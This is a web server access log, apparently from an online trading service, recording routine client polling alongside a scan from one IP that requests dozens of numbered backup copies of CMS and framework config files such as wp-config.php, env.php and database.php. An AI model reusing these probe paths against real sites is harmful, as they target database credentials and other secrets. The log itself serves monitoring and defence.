[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.2 HTTP/1.1" 196
[09/Jan/2026:10:59:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.2 HTTP/1.1" 196
[09/Jan/2026:10:59:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.3 HTTP/1.1" 196
[09/Jan/2026:10:59:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927863641 HTTP/1.1" -
[09/Jan/2026:10:59:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927878230 HTTP/1.1" -
[09/Jan/2026:10:59:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927867310 HTTP/1.1" -
[09/Jan/2026:10:59:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.3 HTTP/1.1" 196
[09/Jan/2026:10:59:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:59:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.3 HTTP/1.1" 196
[09/Jan/2026:10:59:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.3 HTTP/1.1" 196
[09/Jan/2026:10:59:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927868680 HTTP/1.1" -
[09/Jan/2026:10:59:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.3 HTTP/1.1" 196
[09/Jan/2026:10:59:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.3 HTTP/1.1" 196
[09/Jan/2026:11:00:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.3 HTTP/1.1" 196
[09/Jan/2026:11:00:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.3 HTTP/1.1" 196
[09/Jan/2026:11:00:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.3 HTTP/1.1" 196
[09/Jan/2026:11:00:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.3 HTTP/1.1" 196
[09/Jan/2026:11:00:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927884225 HTTP/1.1" -
[09/Jan/2026:11:00:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.3 HTTP/1.1" 196
[09/Jan/2026:11:00:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.3 HTTP/1.1" 196
[09/Jan/2026:11:00:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927872432 HTTP/1.1" -
[09/Jan/2026:11:00:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927873703 HTTP/1.1" -
[09/Jan/2026:11:00:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927877552 HTTP/1.1" -
[09/Jan/2026:11:00:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927890225 HTTP/1.1" -
[09/Jan/2026:11:00:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927878731 HTTP/1.1" -
[09/Jan/2026:11:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927882703 HTTP/1.1" -
[09/Jan/2026:11:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:00:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927896227 HTTP/1.1" -
[09/Jan/2026:11:00:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927883771 HTTP/1.1" -
[09/Jan/2026:11:00:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927887901 HTTP/1.1" -
[09/Jan/2026:11:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:00:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927902236 HTTP/1.1" -
[09/Jan/2026:11:00:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927888806 HTTP/1.1" -
[09/Jan/2026:11:00:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927892952 HTTP/1.1" -
[09/Jan/2026:11:00:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927908227 HTTP/1.1" -
[09/Jan/2026:11:00:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927893833 HTTP/1.1" -
[09/Jan/2026:11:00:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:00:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927898001 HTTP/1.1" -
[09/Jan/2026:11:00:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927898876 HTTP/1.1" -
[09/Jan/2026:11:00:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927914234 HTTP/1.1" -
[09/Jan/2026:11:00:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927903157 HTTP/1.1" -
[09/Jan/2026:11:00:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927903905 HTTP/1.1" -
[09/Jan/2026:11:00:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927920235 HTTP/1.1" -
[09/Jan/2026:11:00:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927908281 HTTP/1.1" -
[09/Jan/2026:11:00:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:00:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:00:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927908940 HTTP/1.1" -
[09/Jan/2026:11:00:40 +0800] 210.3.12.54 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:11:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927913418 HTTP/1.1" -
[09/Jan/2026:11:00:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927926227 HTTP/1.1" -
[09/Jan/2026:11:00:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927913971 HTTP/1.1" -
[09/Jan/2026:11:00:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927918478 HTTP/1.1" -
[09/Jan/2026:11:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:00:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927932232 HTTP/1.1" -
[09/Jan/2026:11:00:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927919015 HTTP/1.1" -
[09/Jan/2026:11:00:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927923636 HTTP/1.1" -
[09/Jan/2026:11:00:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927938225 HTTP/1.1" -
[09/Jan/2026:11:00:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927924043 HTTP/1.1" -
[09/Jan/2026:11:00:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:00:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:00:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927928784 HTTP/1.1" -
